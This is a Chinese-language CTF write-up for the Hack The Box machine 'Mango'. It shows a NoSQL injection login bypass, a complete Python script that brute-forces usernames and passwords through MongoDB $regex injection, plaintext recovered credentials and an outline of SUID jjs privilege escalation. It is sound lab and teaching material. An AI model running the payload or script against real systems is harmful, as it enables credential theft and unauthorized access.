HTB-Mango
HTB-Mango
- 信息收集
-
- 80端口
- 443端口
- staging-order.mango.htb
- 立足
- mango -> admin
- admin -> root
-
- 兔子洞之旅
- 跳出兔子洞
- 补充
信息收集
80端口
443端口
/index.php/login暂时无法打开,首页搜索功能也无法正常使用。dirmap扫描出来的analytics.php内容也只是一些数据。
对443端口的证书进行检查,能发现一个新的子域名:staging-order.mango.htb
。
staging-order.mango.htb
看着真不错。
尝试了几组登陆的账号密码均以失败告终,但是每次只要是失败就会重新加载一次网站,所以如果是正确的话估计会重定向到其他网站。于是乎,现在有两条路。一条是sql注入测试,一条是选择对常用的账号密码进行爆破测试,很明显第二条路的成功率不怎么高。
先对其进行简单的sql注入测试,发现暂时没有任何反应。于是乎,又出现了两条路。一条是更加深入的进行sql注入测试。一条是NoSql。经过测试第一条路(更加深入的sql注入测试)暂时失败。所以走第二条路NoSql injection。
使用username[$ne]=aster&password[$ne]=aster&login=login
,得到302重定向反馈。
跟随重定向发现重定向到了/home.php。
主页内容如下,正在建设中……。
除了疑似存在一个admin用户,就没有其它信息了。再看看NoSql数据库呢。
Yet these databases are still potentially vulnerable to injection attacks, even if they aren’t using the traditional SQL syntax.
那试试注入。
import requests
import stringurl = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):print("Extracting password of "+username)params = {"username":username, "password[$regex]":"", "login": "login"}password = "^"while True:for c in possible_chars:params["password[$regex]"] = password + c + ".*"pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)if int(pr.status_code) == 302:password += cbreakif c == possible_chars[-1]:print("Found password "+password[1:].replace("\\\\", "")+" for username "+username)return password[1:].replace("\\\\", "")def get_usernames():usernames = []params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}for c in possible_chars:username = "^" + cparams["username[$regex]"] = username + ".*"pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)if int(pr.status_code) == 302:print("Found username starting with "+c)while True:for c2 in possible_chars:params["username[$regex]"] = username + c2 + ".*"if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:username += c2print(username)breakif c2 == possible_chars[-1]:print("Found username: "+username[1:])usernames.append(username[1:])breakreturn usernamesfor u in get_usernames():get_password(u)
立足
使用mango:h3mXK8RhU~f{]f5H
通过ssh登录。
mango -> admin
通过已有的凭证登录sudo。
admin -> root
兔子洞之旅
这个uid大的吓人,很显然这uid有一定的突破口。
在 /etc/login.defs文件中发现UID_MAX是60000。login.defs文件时在创建用户时候对其用户的基本属性做默认设置并且给予一定约束。
经过搜索可得CVE-2018-19788。
利用条件是 UID > INT_MAX,查看INT_MAX具体值是多少getconf INT_MAX
。
万事俱备,只欠如何利用systemctl提权,我能想到的有利用systemctl链接服务。
尝试了各种办法都是如此,怕不是掉兔子洞里了。
不知道是不是版本不对。
跳出兔子洞
在一堆SUID程序里看到一个jjs,当然那个/tmp/sh多半是其他选手留下的,所以默认无视。
这在macOS中成功,但是在Linux系统中失败。那我们不弄这么复杂的命令,先删除掉一部分来试试能不能再jjs中实现这些命令操作。
看来可以。
补充
那么上面那个获取用户名和密码的脚本是怎么实现的呢,目标的名字mango变一下就是mongo。
mongo就是文档数据库。
它的存储方式很像JSON,官网的404界面也突出了文档数据库的存储特点。
接下来看看MongoDB的一些语法操作,首先是MongoDB如何进行查询操作。
并且支持正则表达式。
最后,可以在第二条看到利用正则表达式来进行判断是否为指定字段,^
会匹配以^
后开头的字符串,比如^ab会匹配到abc、abd。
通过一个简单的脚本来测试。